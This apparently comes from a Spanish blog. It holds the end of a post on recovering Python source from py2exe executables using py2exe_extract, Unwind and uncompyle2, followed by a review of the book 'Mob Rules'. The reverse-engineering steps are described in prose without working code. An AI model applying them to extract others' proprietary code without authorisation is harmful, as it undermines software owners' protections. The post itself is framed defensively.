Una vez finalizado el proceso de compilación, py2exe nos creará un directorio llamado “dist” que incluye nuestro ejecutable y algunas librerías necesarias. En la Fig. 6 podemos ver que py2exe finaliza con éxito y ejecutamos nuestro programa en formato exe.
Fig. 6 – Compilación completada
Ahora podríamos distribuir este binario sin miedo a entregar nuestro código o quizás no ¿?
Py2exe_extract
Esta herramienta nos permite extraer los objetos Python dentro de los ejecutables creados con py2exe, básicamente invertimos el proceso. Py2exe_extract
En la Fig. 7 podemos ver como utilizamos py2exe_extract para obtener el fichero objeto (el contenido de este fichero es independiente de la plataforma y se conoce como Bytecode) de nuestra aplicación secretapp1.exe (secretapp1.pyc)
Fig. 7 – Extrayendo el fichero objeto
Ahora tenemos que ver cómo podemos obtener el código de este fichero objeto.
Unwind
Unwind es un desensamblador para Python Bytecode que podemos utilizar para analizar ficheros objetos “.pyc”. Para este ejemplo he escrito un simple script en Python, mytest.py, que importa el desensamblador y analiza el fichero pyc. Ver código a continuación.
Con este script podemos ejecutar el siguiente comando y obtener un desensamblado del fichero objeto. Ver Fig. 8.
Fig. 8 – Python Bytecode
Para los amantes del bajo nivel esta será su opción favorita ;)
Uncompyle2
Otra opción es utilizar un decompilador como uncompyle2 para obtener el código directamente del fichero objeto “.pyc” sin tener que pasar por el desensamblador como vimos anteriormente.
Esta herramienta es potente y fácil de utilizar, como se puede observar en la Fig. 9 mediante un simple comando obtenemos el código fuente de secretapp1.pyc.
Fig. 9 – Código de secretapp1 obtenido del fichero objeto
Wow, tenemos código fuente!
A lo largo del artículo hemos visto algunas técnicas de ofuscación y compilación de código Python para protegerlo, no obstante hemos podido subvertir todo el proceso de protección fácilmente
La siguiente lista son otros compiladores Python que podemos utilizar para Windows, Linux o MacOS, pero tienen los mismos problemas.
También podríamos analizar y subvertir el binario utilizando herramientas como IDA PRO o Immunity Debugger, lo que dejaremos para un futuro post. Otra interesante herramienta que no he comentado es pyREtic, un potente framework para reversing de in-memory de Python Bytecode.
Que un atacante consiga el código Python es cuestión de tiempo, sin embargo para ponérselo realmente difícil desde un punto de vista defensivo se
tienen que combinar diferentes técnicas.
¿Proteges tus programas en Python? ¿Qué métodos utilizas?
Al leer la sinopsis del libro ya nos damos cuenta que este no es el típico libro de cómo triunfar en los negocios. Escrito por Louis Ferrante, ex mafioso de la familia Gambino y reconvertido a escritor, nos compara la estructura de la mafia y su peculiar estilo de hacer negocios para obtener el éxito en el mundo empresarial.
Mob Rules: What the Mafia Can Teach the Legitimate Businessman (ISBN: 978-1591843986) es una obra diferente y de fácil lectura que describe multitud de consejos básicos y lógicos para triunfar en los negocios y que muchos emprendedores y ejecutivos deberían leer y sobre todo aplicar.
A lo largo de sus tres secciones (soldado=empleado, capo=mandos intermedios y don=alta dirección) divididas en 88 lecciones, el libro nos detalla cómo la mafia aplica estos conceptos para triunfar en los negocios.
La obra está llena de referencias a casos reales de la mafia e historia antigua con ejemplos de cómo hacer o no las cosas. Todos estos casos reales han sido muy bien seleccionados y, además de interesantes, potencian el mensaje del autor.
Desde hace años se habla del Arte de la Guerra de Sun Tzu como una obra de referencia para aplicar a los negocios, pero sin duda Mob Rules es una obra a tener en cuenta para hacer negocios.
El punto negativo de la obra es que algunas lecciones son muy básicas y no aportan demasiado al lector.
Recomiendo el libro tanto como si queremos aplicar sus consejos a los negocios o simplemente por leer un libro curioso repleto de casos reales sobre la mafia.
Puntuación (1 rosa, muy malo / 5 rosas, muy bueno): 4 Rosas (Lectura Recomendada)
